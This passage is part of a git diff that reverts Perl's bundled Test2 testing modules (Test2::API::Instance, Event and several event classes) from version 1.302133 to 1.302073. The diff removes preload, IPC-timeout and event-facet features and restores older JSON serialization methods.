+33,10 @@ use Test2::Util::HashBase qw{ context_acquire_callbacks context_init_callbacks context_release_callbacks - pre_subtest_callbacks }; -sub DEFAULT_IPC_TIMEOUT() { 30 } - -sub pid { $_[0]->{+_PID} } -sub tid { $_[0]->{+_TID} } +sub pid { $_[0]->{+_PID} ||= $$ } +sub tid { $_[0]->{+_TID} ||= get_tid() } # Wrap around the getters that should call _finalize. BEGIN { @@ -63,8 +54,6 @@ BEGIN { } } -sub has_ipc { !!$_[0]->{+IPC} } - sub import { my $class = shift; return unless @_; @@ -74,58 +63,13 @@ sub import { sub init { $_[0]->reset } -sub start_preload { - my $self = shift; - - confess "preload cannot be started, Test2::API has already been initialized" - if $self->{+FINALIZED} || $self->{+LOADED}; - - return $self->{+PRELOAD} = 1; -} - -sub stop_preload { - my $self = shift; - - return 0 unless $self->{+PRELOAD}; - $self->{+PRELOAD} = 0; - - $self->post_preload_reset(); - - return 1; -} - -sub post_preload_reset { - my $self = shift; - - delete $self->{+_PID}; - delete $self->{+_TID}; - - $self->{+ADD_UUID_VIA} = undef unless exists $self->{+ADD_UUID_VIA}; - - $self->{+CONTEXTS} = {}; - - $self->{+FORMATTERS} = []; - - $self->{+FINALIZED} = undef; - $self->{+IPC} = undef; - $self->{+IPC_DISABLED} = $ENV{T2_NO_IPC} ? 1 : 0; - - $self->{+IPC_TIMEOUT} = DEFAULT_IPC_TIMEOUT() unless defined $self->{+IPC_TIMEOUT}; - - $self->{+LOADED} = 0; - - $self->{+STACK} ||= Test2::API::Stack->new; -} - sub reset { my $self = shift; delete $self->{+_PID}; delete $self->{+_TID}; - $self->{+ADD_UUID_VIA} = undef; - - $self->{+CONTEXTS} = {}; + $self->{+CONTEXTS} = {}; $self->{+IPC_DRIVERS} = []; $self->{+IPC_POLLING} = undef; @@ -133,11 +77,8 @@ sub reset { $self->{+FORMATTERS} = []; $self->{+FORMATTER} = undef; - $self->{+FINALIZED} = undef; - $self->{+IPC} = undef; - $self->{+IPC_DISABLED} = $ENV{T2_NO_IPC} ? 1 : 0; - - $self->{+IPC_TIMEOUT} = DEFAULT_IPC_TIMEOUT() unless defined $self->{+IPC_TIMEOUT}; + $self->{+FINALIZED} = undef; + $self->{+IPC} = undef; $self->{+NO_WAIT} = 0; $self->{+LOADED} = 0; @@ -147,7 +88,6 @@ sub reset { $self->{+CONTEXT_ACQUIRE_CALLBACKS} = []; $self->{+CONTEXT_INIT_CALLBACKS} = []; $self->{+CONTEXT_RELEASE_CALLBACKS} = []; - $self->{+PRE_SUBTEST_CALLBACKS} = []; $self->{+STACK} = Test2::API::Stack->new; } @@ -157,9 +97,6 @@ sub _finalize { my ($caller) = @_; $caller ||= [caller(1)]; - confess "Attempt to initialize Test2::API during preload" - if $self->{+PRELOAD}; - $self->{+FINALIZED} = $caller; $self->{+_PID} = $$ unless defined $self->{+_PID}; @@ -201,7 +138,6 @@ sub _finalize { # Turn on IPC if threads are on, drivers are registered, or the Test2::IPC # module is loaded. - return if $self->{+IPC_DISABLED}; return unless USE_THREADS || $INC{'Test2/IPC.pm'} || @{$self->{+IPC_DRIVERS}}; # Turn on polling by default, people expect it. @@ -288,24 +224,9 @@ sub add_post_load_callback { $code->() if $self->{+LOADED}; } -sub add_pre_subtest_callback { - my $self = shift; - my ($code) = @_; - - my $rtype = reftype($code) || ""; - - confess "Pre-subtest callbacks must be coderefs" - unless $code && $rtype eq 'CODE'; - - push @{$self->{+PRE_SUBTEST_CALLBACKS}} => $code; -} - sub load { my $self = shift; unless ($self->{+LOADED}) { - confess "Attempt to initialize Test2::API during preload" - if $self->{+PRELOAD}; - $self->{+_PID} = $$ unless defined $self->{+_PID}; $self->{+_TID} = get_tid() unless defined $self->{+_TID}; @@ -332,15 +253,6 @@ sub add_exit_callback { push @{$self->{+EXIT_CALLBACKS}} => $code; } -sub ipc_disable { - my $self = shift; - - confess "Attempt to disable IPC after it has been initialized" - if $self->{+IPC}; - - $self->{+IPC_DISABLED} = 1; -} - sub add_ipc_driver { my $self = shift; my ($driver) = @_; @@ -369,13 +281,12 @@ sub enable_ipc_polling { return $_[0]->{hub}->cull unless $self->{+IPC_SHM_ID}; my $val; - if(shmread($self->{+IPC_SHM_ID}, $val, 0, $self->{+IPC_SHM_SIZE})) { + { + shmread($self->{+IPC_SHM_ID}, $val, 0, $self->{+IPC_SHM_SIZE}) or return; + return if $val eq $self->{+IPC_SHM_LAST}; $self->{+IPC_SHM_LAST} = $val; } - else { - warn "SHM Read error: $!\n"; - } $_[0]->{hub}->cull; } @@ -398,20 +309,16 @@ sub ipc_enable_shm { # In some systems (*BSD) accessing the SysV IPC APIs without # them being enabled can cause a SIGSYS. We suppress the SIGSYS # and then get ENOSYS from the calls. - local $SIG{SYS} = 'IGNORE' if CAN_SIGSYS; + local $SIG{SYS} = 'IGNORE'; require IPC::SysV; my $ipc_key = IPC::SysV::IPC_PRIVATE(); my $shm_size = $self->{+IPC}->can('shm_size') ? $self->{+IPC}->shm_size : 64; - my $shm_id = shmget($ipc_key, $shm_size, 0666) or die "Could not get shm: $!"; + my $shm_id = shmget($ipc_key, $shm_size, 0666) or die; my $initial = 'a' x $shm_size; - shmwrite($shm_id, $initial, 0, $shm_size) or die "Could not write to shm: $!"; - my $val; - shmread($shm_id, $val, 0, $shm_size) or die "Could not read from shm: $!"; - die "Read SHM value does not match the initial value ('$val' vs '$initial')" - unless $val eq $initial; + shmwrite($shm_id, $initial, 0, $shm_size) or die; $self->{+IPC_SHM_SIZE} = $shm_size; $self->{+IPC_SHM_ID} = $shm_id; @@ -460,68 +367,41 @@ sub disable_ipc_polling { } sub _ipc_wait { - my ($timeout) = @_; my $fail = 0; - $timeout = DEFAULT_IPC_TIMEOUT() unless defined $timeout; - - my $ok = eval { - if (CAN_FORK) { - local $SIG{ALRM} = sub { die "Timeout waiting on child processes" }; - alarm $timeout; - - while (1) { - my $pid = CORE::wait(); - my $err = $?; - last if $pid == -1; - next unless $err; - $fail++; - - my $sig = $err & 127; - my $exit = $err >> 8; - warn "Process $pid did not exit cleanly (wstat: $err, exit: $exit, sig: $sig)\n"; - } - - alarm 0; + if (CAN_FORK) { + while (1) { + my $pid = CORE::wait(); + my $err = $?; + last if $pid == -1; + next unless $err; + $fail++; + $err = $err >> 8; + warn "Process $pid did not exit cleanly (status: $err)\n"; } + } - if (USE_THREADS) { - my $start = time; - - while (1) { - last unless threads->list(); - die "Timeout waiting on child thread" if time - $start >= $timeout; - sleep 1; - for my $t (threads->list) { - # threads older than 1.34 do not have this :-( - next if $t->can('is_joinable') && !$t->is_joinable; - $t->join; - # In older threads we cannot check if a thread had an error unless - # we control it and its return. - my $err = $t->can('error') ? $t->error : undef; - next unless $err; - my $tid = $t->tid(); - $fail++; - chomp($err); - warn "Thread $tid did not end cleanly: $err\n"; - } - } + if (USE_THREADS) { + for my $t (threads->list()) { + $t->join; + # In older threads we cannot check if a thread had an error unless + # we control it and its return. + my $err = $t->can('error') ? $t->error : undef; + next unless $err; + my $tid = $t->tid(); + $fail++; + chomp($err); + warn "Thread $tid did not end cleanly: $err\n"; } + } - 1; - }; - my $error = $@; - - return 0 if $ok && !$fail; - warn $error unless $ok; + return 0 unless $fail; return 255; } sub DESTROY { my $self = shift; - return if $self->{+PRELOAD}; - return unless defined($self->{+_PID}) && $self->{+_PID} == $$; return unless defined($self->{+_TID}) && $self->{+_TID} == get_tid(); @@ -532,8 +412,6 @@ sub DESTROY { sub set_exit { my $self = shift; - return if $self->{+PRELOAD}; - my $exit = $?; my $new_exit = $exit; @@ -592,13 +470,13 @@ This is not a supported configuration, you will have problems. $ipc->waiting(); } - my $ipc_exit = _ipc_wait($self->{+IPC_TIMEOUT}); + my $ipc_exit = _ipc_wait(); $new_exit ||= $ipc_exit; } # None of this is necessary if we never got a root hub if(my $root = shift @hubs) { - my $trace = Test2::EventFacet::Trace->new( + my $trace = Test2::Util::Trace->new( frame => [__PACKAGE__, __FILE__, 0, __PACKAGE__ . '::END'], detail => __PACKAGE__ . ' END Block finalization', ); @@ -713,10 +591,6 @@ Get all context init callbacks. Get all context release callbacks. -=item $arrayref = $obj->pre_subtest_callbacks - -Get all pre-subtest callbacks. - =item $obj->add_context_init_callback(sub { ... }) Add a context init callback. Subs are called every time a context is created. Subs @@ -728,12 +602,6 @@ Add a context release callback. Subs are called every time a context is released get the released context as their only argument. These callbacks should not call release on the context. -=item $obj->add_pre_subtest_callback(sub { ... }) - -Add a pre-subtest callback. Subs are called every time a subtest is -going to be run. Subs get the subtest name, coderef, and any -arguments. - =item $obj->set_exit() This is intended to be called in an C block. This will look at @@ -777,12 +645,6 @@ pending events. When 1 is returned this will set C<< $obj->ipc_shm_last() >>. -=item $timeout = $obj->ipc_timeout; - -=item $obj->set_ipc_timeout($timeout); - -How long to wait for child processes and threads before aborting. - =item $drivers = $obj->ipc_drivers Get the list of IPC drivers. @@ -833,14 +695,6 @@ L). Get the one true IPC instance. -=item $obj->ipc_disable - -Turn IPC off - -=item $bool = $obj->ipc_disabled - -Check if IPC is disabled - =item $stack = $obj->stack Get the one true hub stack. @@ -865,22 +719,6 @@ a warning will be generated: "Formatter $formatter loaded too late to be used as the global formatter" -=item $obj->set_add_uuid_via(sub { ... }) - -=item $sub = $obj->add_uuid_via() - -This allows you to provide a UUID generator. If provided UUIDs will be attached -to all events, hubs, and contexts. This is useful for storing, tracking, and -linking these objects. - -The sub you provide should always return a unique identifier. Most things will -expect a proper UUID string, however nothing in Test2::API enforces this. - -The sub will receive exactly 1 argument, the type of thing being tagged -'context', 'hub', or 'event'. In the future additional things may be tagged, in -which case new strings will be passed in. These are purely informative, you can -(and usually should) ignore them. - =back =head1 SOURCE @@ -906,7 +744,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/API/Stack.pm b/cpan/Test-Simple/lib/Test2/API/Stack.pm index 8007e1a6540d..534cd78d1bab 100644 --- a/cpan/Test-Simple/lib/Test2/API/Stack.pm +++ b/cpan/Test-Simple/lib/Test2/API/Stack.pm @@ -2,7 +2,7 @@ package Test2::API::Stack; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test2::Hub(); @@ -27,7 +27,7 @@ sub new_hub { } else { require Test2::API; - $hub->format(Test2::API::test2_formatter()->new_root) + $hub->format(Test2::API::test2_formatter()->new) unless $hub->format || exists($params{formatter}); my $ipc = Test2::API::test2_ipc(); @@ -210,7 +210,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event.pm b/cpan/Test-Simple/lib/Test2/Event.pm index 307d49b75e51..a59a366081d0 100644 --- a/cpan/Test-Simple/lib/Test2/Event.pm +++ b/cpan/Test-Simple/lib/Test2/Event.pm @@ -2,78 +2,17 @@ package Test2::Event; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; -use Scalar::Util qw/blessed reftype/; -use Carp qw/croak/; - -use Test2::Util::HashBase qw/trace -amnesty uuid -hubs/; +use Test2::Util::HashBase qw/trace nested in_subtest subtest_id/; use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/; use Test2::Util qw(pkg_to_file); - -use Test2::EventFacet::About(); -use Test2::EventFacet::Amnesty(); -use Test2::EventFacet::Assert(); -use Test2::EventFacet::Control(); -use Test2::EventFacet::Error(); -use Test2::EventFacet::Info(); -use Test2::EventFacet::Meta(); -use Test2::EventFacet::Parent(); -use Test2::EventFacet::Plan(); -use Test2::EventFacet::Trace(); -use Test2::EventFacet::Hub(); - -# Legacy tools will expect this to be loaded now -require Test2::Util::Trace; - -my %LOADED_FACETS = ( - 'about' => 'Test2::EventFacet::About', - 'amnesty' => 'Test2::EventFacet::Amnesty', - 'assert' => 'Test2::EventFacet::Assert', - 'control' => 'Test2::EventFacet::Control', - 'errors' => 'Test2::EventFacet::Error', - 'info' => 'Test2::EventFacet::Info', - 'meta' => 'Test2::EventFacet::Meta', - 'parent' => 'Test2::EventFacet::Parent', - 'plan' => 'Test2::EventFacet::Plan', - 'trace' => 'Test2::EventFacet::Trace', - 'hubs' => 'Test2::EventFacet::Hub', -); - -sub FACET_TYPES { sort values %LOADED_FACETS } - -sub load_facet { - my $class = shift; - my ($facet) = @_; - - return $LOADED_FACETS{$facet} if exists $LOADED_FACETS{$facet}; - - my @check = ($facet); - if ('s' eq substr($facet, -1, 1)) { - push @check => substr($facet, 0, -1); - } - else { - push @check => $facet . 's'; - } - - my $found; - for my $check (@check) { - my $mod = "Test2::EventFacet::" . ucfirst($facet); - my $file = pkg_to_file($mod); - next unless eval { require $file; 1 }; - $found = $mod; - last; - } - - return undef unless $found; - $LOADED_FACETS{$facet} = $found; -} +use Test2::Util::Trace; sub causes_fail { 0 } sub increments_count { 0 } sub diagnostics { 0 } sub no_display { 0 } -sub subtest_id { undef } sub callback { } @@ -83,238 +22,31 @@ sub sets_plan { () } sub summary { ref($_[0]) } -sub related { - my $self = shift; - my ($event) = @_; - - my $tracea = $self->trace or return undef; - my $traceb = $event->trace or return undef; - - my $uuida = $tracea->uuid; - my $uuidb = $traceb->uuid; - if ($uuida && $uuidb) { - return 1 if $uuida eq $uuidb; - return 0; - } - - my $siga = $tracea->signature or return undef; - my $sigb = $traceb->signature or return undef; - - return 1 if $siga eq $sigb; - return 0; -} - -sub add_hub { - my $self = shift; - unshift @{$self->{+HUBS}} => @_; -} - -sub add_amnesty { - my $self = shift; - - for my $am (@_) { - $am = {%$am} if ref($am) ne 'ARRAY'; - $am = Test2::EventFacet::Amnesty->new($am); - - push @{$self->{+AMNESTY}} => $am; - } -} - -sub common_facet_data { - my $self = shift; - - my %out; - - $out{about} = {package => ref($self) || undef}; - if (my $uuid = $self->uuid) { - $out{about}->{uuid} = $uuid; - } - - if (my $trace = $self->trace) { - $out{trace} = { %$trace }; - } - - if (my $hubs = $self->hubs) { - $out{hubs} = $hubs; - } - - $out{amnesty} = [map {{ %{$_} }} @{$self->{+AMNESTY}}] - if $self->{+AMNESTY}; - - if (my $meta = $self->meta_facet_data) { - $out{meta} = $meta; - } - - return \%out; -} - -sub meta_facet_data { - my $self = shift; - - my $key = Test2::Util::ExternalMeta::META_KEY(); - - my $hash = $self->{$key} or return undef; - return {%$hash}; -} - -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{about}->{details} = $self->summary || undef; - $out->{about}->{no_display} = $self->no_display || undef; - - # Might be undef, we want to preserve that - my $terminate = $self->terminate; - $out->{control} = { - global => $self->global || 0, - terminate => $terminate, - has_callback => $self->can('callback') == \&callback ? 0 : 1, - }; - - $out->{assert} = { - no_debug => 1, # Legacy behavior - pass => $self->causes_fail ? 0 : 1, - details => $self->summary, - } if $self->increments_count; - - $out->{parent} = {hid => $self->subtest_id} if $self->subtest_id; - - if (my @plan = $self->sets_plan) { - $out->{plan} = {}; - - $out->{plan}->{count} = $plan[0] if defined $plan[0]; - $out->{plan}->{details} = $plan[2] if defined $plan[2]; - - if ($plan[1]) { - $out->{plan}->{skip} = 1 if $plan[1] eq 'SKIP'; - $out->{plan}->{none} = 1 if $plan[1] eq 'NO PLAN'; - } - - $out->{control}->{terminate} ||= 0 if $out->{plan}->{skip}; - } - - if ($self->causes_fail && !$out->{assert}) { - $out->{errors} = [ - { - tag => 'FAIL', - fail => 1, - details => $self->summary, - } - ]; - } - - my %IGNORE = (trace => 1, about => 1, control => 1); - my $do_info = !grep { !$IGNORE{$_} } keys %$out; - - if ($do_info && !$self->no_display && $self->diagnostics) { - $out->{info} = [ - { - tag => 'DIAG', - debug => 1, - details => $self->summary, - } - ]; - } - - return $out; -} - -sub facets { - my $self = shift; - my %out; - - my $data = $self->facet_data; - my @errors = $self->validate_facet_data($data); - die join "\n" => @errors if @errors; - - for my $facet (keys %$data) { - my $class = $self->load_facet($facet); - my $val = $data->{$facet}; - - unless($class) { - $out{$facet} = $val; - next; - } - - my $is_list = reftype($val) eq 'ARRAY' ? 1 : 0; - if ($is_list) { - $out{$facet} = [map { $class->new($_) } @$val]; - } - else { - $out{$facet} = $class->new($val); - } - } - - return \%out; -} - -sub validate_facet_data { - my $class_or_self = shift; - my ($f, %params); - - $f = shift if @_ && (reftype($_[0]) || '') eq 'HASH'; - %params = @_; - - $f ||= $class_or_self->facet_data if blessed($class_or_self); - croak "No facet data" unless $f; - - my @errors; - - for my $k (sort keys %$f) { - my $fclass = $class_or_self->load_facet($k); - - push @errors => "Could not find a facet class for facet '$k'" - if $params{require_facet_class} && !$fclass; - - next unless $fclass; - - my $v = $f->{$k}; - next unless defined($v); # undef is always fine - - my $is_list = $fclass->is_list(); - my $got_list = reftype($v) eq 'ARRAY' ? 1 : 0; - - push @errors => "Facet '$k' should be a list, but got a single item ($v)" - if $is_list && !$got_list; - - push @errors => "Facet '$k' should not be a list, but got a a list ($v)" - if $got_list && !$is_list; - } - - return @errors; -} +sub from_json { + my $class = shift; + my %p = @_; -sub nested { - my $self = shift; + my $event_pkg = delete $p{__PACKAGE__}; + require(pkg_to_file($event_pkg)); - Carp::cluck("Use of Test2::Event->nested() is deprecated, use Test2::Event->trace->nested instead") - if $ENV{AUTHOR_TESTING}; + if (exists $p{trace}) { + $p{trace} = Test2::Util::Trace->from_json(%{$p{trace}}); + } - if (my $hubs = $self->{+HUBS}) { - return $hubs->[0]->{nested} if @$hubs; - } + if (exists $p{subevents}) { + my @subevents; + for my $subevent (@{delete $p{subevents} || []}) { + push @subevents, Test2::Event->from_json(%$subevent); + } + $p{subevents} = \@subevents; + } - my $trace = $self->{+TRACE} or return undef; - return $trace->{nested}; + return $event_pkg->new(%p); } -sub in_subtest { +sub TO_JSON { my $self = shift; - - Carp::cluck("Use of Test2::Event->in_subtest() is deprecated, use Test2::Event->trace->hid instead") - if $ENV{AUTHOR_TESTING}; - - my $hubs = $self->{+HUBS}; - if ($hubs && @$hubs) { - return undef unless $hubs->[0]->{nested}; - return $hubs->[0]->{hid} - } - - my $trace = $self->{+TRACE} or return undef; - return undef unless $trace->{nested}; - return $trace->{hid}; + return {%$self, __PACKAGE__ => ref $self}; } 1; @@ -348,10 +80,6 @@ L. # want, or roll your own accessors. use Test2::Util::HashBase qw/foo bar baz/; - # Use this if you want the legacy API to be written for you, for this to - # work you will need to implement a facet_data() method. - use Test2::Util::Facets2Legacy; - # Chance to initialize some defaults sub init { my $self = shift; @@ -362,298 +90,17 @@ L. ... } - # This is the new way for events to convey data to the Test2 system - sub facet_data { - my $self = shift; - - # Get common facets such as 'about', 'trace' 'amnesty', and 'meta' - my $facet_data = $self->common_facet_data(); - - # Are you making an assertion? - $facet_data->{assert} = {pass => 1, details => 'my assertion'}; - ... - - return $facet_data; - } - 1; =head1 METHODS -=head2 GENERAL - =over 4 =item $trace = $e->trace -Get a snapshot of the L as it was when this event was +Get a snapshot of the L as it was when this event was generated -=item $bool_or_undef = $e->related($e2) - -Check if 2 events are related. In this case related means their traces share a -signature meaning they were created with the same context (or at the very least -by contexts which share an id, which is the same thing unless someone is doing -something very bad). - -This can be used to reliably link multiple events created by the same tool. For -instance a failing test like C will generate 2 events, one being -a L, the other being a L, both of these -events are related having been created under the same context and by the same -initial tool (though multiple tools may have been nested under the initial -one). - -This will return C if the relationship cannot be checked, which happens -if either event has an incomplete or missing trace. This will return C<0> if -the traces are complete, but do not match. C<1> will be returned if there is a -match. - -=item $e->add_amnesty({tag => $TAG, details => $DETAILS}); - -This can be used to add amnesty to this event. Amnesty only effects failing -assertions in most cases, but some formatters may display them for passing -assertions, or even non-assertions as well. - -Amnesty will prevent a failed assertion from causing the overall test to fail. -In other words it marks a failure as expected and allowed. - -B This is how 'TODO' is implemented under the hood. TODO is essentially -amnesty with the 'TODO' tag. The details are the reason for the TODO. - -=item $uuid = $e->uuid - -If UUID tagging is enabled (See L) then any event that has made its -way through a hub will be tagged with a UUID. A newly created event will not -yet be tagged in most cases. - -=item $class = $e->load_facet($name) - -This method is used to load a facet by name (or key). It will attempt to load -the facet class, if it succeeds it will return the class it loaded. If it fails -it will return C. This caches the result at the class level so that -future calls will be faster. - -The C<$name> variable should be the key used to access the facet in a facets -hashref. For instance the assertion facet has the key 'assert', the information -facet has the 'info' key, and the error facet has the key 'errors'. You may -include or omit the 's' at the end of the name, the method is smart enough to -try both the 's' and no-'s' forms, it will check what you provided first, and -if that is not found it will add or strip the 's and try again. - -=item @classes = $e->FACET_TYPES() - -=item @classes = Test2::Event->FACET_TYPES() - -This returns a list of all facets that have been loaded using the -C method. This will not return any classes that have not been -loaded, or have been loaded directly without a call to C. - -B The core facet types are automatically loaded and populated in this -list. - -=back - -=head2 NEW API - -=over 4 - -=item $hashref = $e->common_facet_data(); - -This can be used by subclasses to generate a starting facet data hashref. This -will populate the hashref with the trace, meta, amnesty, and about facets. -These facets are nearly always produced the same way for all events. - -=item $hashref = $e->facet_data() - -If you do not override this then the default implementation will attempt to -generate facets from the legacy API. This generation is limited only to what -the legacy API can provide. It is recommended that you override this method and -write out explicit facet data. - -=item $hashref = $e->facets() - -This takes the hashref from C and blesses each facet into the -proper C subclass. If no class can be found for any given -facet it will be passed along unchanged. - -=item @errors = $e->validate_facet_data(); - -=item @errors = $e->validate_facet_data(%params); - -=item @errors = $e->validate_facet_data(\%facets, %params); - -=item @errors = Test2::Event->validate_facet_data(%params); - -=item @errors = Test2::Event->validate_facet_data(\%facets, %params); - -This method will validate facet data and return a list of errors. If no errors -are found this will return an empty list. - -This can be called as an object method with no arguments, in which case the -C method will be called to get the facet data to be validated. - -When used as an object method the C<\%facet_data> argument may be omitted. - -When used as a class method the C<\%facet_data> argument is required. - -Remaining arguments will be slurped into a C<%params> hash. - -Currently only 1 parameter is defined: - -=over 4 - -=item require_facet_class => $BOOL - -When set to true (default is false) this will reject any facets where a facet -class cannot be found. Normally facets without classes are assumed to be custom -and are ignored. - -=back - -=back - -=head3 WHAT ARE FACETS? - -Facets are how events convey their purpose to the Test2 internals and -formatters. An event without facets will have no intentional effect on the -overall test state, and will not be displayed at all by most formatters, except -perhaps to say that an event of an unknown type was seen. - -Facets are produced by the C subroutine, which you should -nearly-always override. C is expected to return a hashref where -each key is the facet type, and the value is either a hashref with the data for -that facet, or an array of hashref's. Some facets must be defined as single -hashrefs, some must be defined as an array of hashrefs, No facets allow both. - -C B bless the data it returns, the main hashref, and -nested facet hashref's B be bare, though items contained within each -facet may be blessed. The data returned by this method B also be copies -of the internal data in order to prevent accidental state modification. - -C takes the data from C and blesses it into the -C packages. This is rarely used however, the EventFacet -packages are primarily for convenience and documentation. The EventFacet -classes are not used at all internally, instead the raw data is used. - -Here is a list of facet types by package. The packages are not used internally, -but are where the documentation for each type is kept. - -B Every single facet type has the C<'details'> field. This field is -always intended for human consumption, and when provided, should explain the -'why' for the facet. All other fields are facet specific. - -=over 4 - -=item about => {...} - -L - -This contains information about the event itself such as the event package -name. The C
field for this facet is an overall summary of the event. - -=item assert => {...} - -L - -This facet is used if an assertion was made. The C
field of this facet -is the description of the assertion. - -=item control => {...} - -L - -This facet is used to tell the L about special actions the -event causes. Things like halting all testing, terminating the current test, -etc. In this facet the C
field explains why any special action was -taken. - -B This is how bail-out is implemented. - -=item meta => {...} - -L - -The meta facet contains all the meta-data attached to the event. In this case -the C
field has no special meaning, but may be present if something -sets the 'details' meta-key on the event. - -=item parent => {...} - -L - -This facet contains nested events and similar details for subtests. In this -facet the C
field will typically be the name of the subtest. - -=item plan => {...} - -L - -This facet tells the system that a plan has been set. The C
field of -this is usually left empty, but when present explains why the plan is what it -is, this is most useful if the plan is to skip-all. - -=item trace => {...} - -L - -This facet contains information related to when and where the event was -generated. This is how the test file and line number of a failure is known. -This facet can also help you to tell if tests are related. - -In this facet the C
field overrides the "failed at test_file.t line -42." message provided on assertion failure. - -=item amnesty => [{...}, ...] - -L - -The amnesty facet is a list instead of a single item, this is important as -amnesty can come from multiple places at once. - -For each instance of amnesty the C
field explains why amnesty was -granted. - -B Outside of formatters amnesty only acts to forgive a failing -assertion. - -=item errors => [{...}, ...] - -L - -The errors facet is a list instead of a single item, any number of errors can -be listed. In this facet C
describes the error, or may contain the raw -error message itself (such as an exception). In perl exception may be blessed -objects, as such the raw data for this facet may contain nested items which are -blessed. - -Not all errors are considered fatal, there is a C field that must be set -for an error to cause the test to fail. - -B This facet is unique in that the field name is 'errors' while the -package is 'Error'. This is because this is the only facet type that is both a -list, and has a name where the plural is not the same as the singular. This may -cause some confusion, but I feel it will be less confusing than the -alternative. - -=item info => [{...}, ...] - -L - -The 'info' facet is a list instead of a single item, any quantity of extra -information can be attached to an event. Some information may be critical -diagnostics, others may be simply commentary in nature, this is determined by -the C flag. - -For this facet the C
flag is the info itself. This info may be a -string, or it may be a data structure to display. This is one of the few facet -types that may contain blessed items. - -=back - -=head2 LEGACY API - -=over 4 - =item $bool = $e->causes_fail Returns true if this event should result in a test failure. In general this @@ -670,6 +117,11 @@ this method. This is called B your event is passed to the formatter. +=item $call = $e->created + +Get the C details from when the event was generated. This is usually +inside a tools package. This is typically used for debugging. + =item $num = $e->nested If this event is nested inside of other events, this should be the depth of @@ -698,6 +150,23 @@ to exit with a failure. This is called after the event has been sent to the formatter in order to ensure the event is seen and understood. +=item $todo = $e->todo + +=item $e->set_todo($todo) + +Get/Set the todo reason on the event. Any value other than C makes the +event 'TODO'. + +Not all events make use of this field, but they can all have it set/cleared. + +=item $bool = $e->diag_todo + +=item $e->diag_todo($todo) + +True if this event should be considered 'TODO' for diagnostics purposes. This +essentially means that any message that would go to STDERR will go to STDOUT +instead so that a harness will hide it outside of verbose mode. + =item $msg = $e->summary This is intended to be a human readable summary of the event. This should @@ -733,6 +202,17 @@ If the event is inside a subtest this should have the subtest ID. If the event is a final subtest event, this should contain the subtest ID. +=item $hashref = $e->TO_JSON + +This returns a hashref suitable for passing to the C<< Test2::Event->from_json +>> constructor. It is intended for use with the L family of modules, +which will look for a C method when C is true. + +=item $e = Test2::Event->from_json(%$hashref) + +Given the hash of data returned by C<< $e->TO_JSON >>, this method returns a +new event object of the appropriate subclass. + =back =head1 THIRD PARTY META-DATA @@ -764,7 +244,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Bail.pm b/cpan/Test-Simple/lib/Test2/Event/Bail.pm index bfd99ee3aa41..0284aecd00f0 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Bail.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Bail.pm @@ -2,11 +2,18 @@ package Test2::Event::Bail; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } -use Test2::Util::HashBase qw{reason buffered}; +use Test2::Util::HashBase qw{reason}; + +sub callback { + my $self = shift; + my ($hub) = @_; + + $hub->set_bailed_out($self); +} # Make sure the tests terminate sub terminate { 255 }; @@ -25,20 +32,6 @@ sub summary { sub diagnostics { 1 } -sub facet_data { - my $self = shift; - my $out = $self->common_facet_data; - - $out->{control} = { - global => 1, - halt => 1, - details => $self->{+REASON}, - terminate => 255, - }; - - return $out; -} - 1; __END__ @@ -99,7 +92,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Diag.pm b/cpan/Test-Simple/lib/Test2/Event/Diag.pm index f5d3a6a49ead..9d2ba88d6e3a 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Diag.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Diag.pm @@ -2,7 +2,7 @@ package Test2::Event::Diag; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } @@ -16,22 +16,6 @@ sub summary { $_[0]->{+MESSAGE} } sub diagnostics { 1 } -sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{info} = [ - { - tag => 'DIAG', - debug => 1, - details => $self->{+MESSAGE}, - } - ]; - - return $out; -} - 1; __END__ @@ -89,7 +73,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Event/Encoding.pm b/cpan/Test-Simple/lib/Test2/Event/Encoding.pm index cd4b28dcbed8..52af3f2dc513 100644 --- a/cpan/Test-Simple/lib/Test2/Event/Encoding.pm +++ b/cpan/Test-Simple/lib/Test2/Event/Encoding.pm @@ -2,29 +2,18 @@ package Test2::Event::Encoding; use strict; use warnings; -our $VERSION = '1.302133'; - -use Carp qw/croak/; +our $VERSION = '1.302073'; BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) } use Test2::Util::HashBase qw/encoding/; sub init { my $self = shift; - defined $self->{+ENCODING} or croak "'encoding' is a required attribute"; + defined $self->{+ENCODING} or $self->trace->throw("'encoding' is a required attribute"); } sub summary { 'Encoding set to ' . $_[0]->{+ENCODING} } -sub facet_data { - my $self = shift; - my $out = $self->common_facet_data; - $out->{control}->{encoding} = 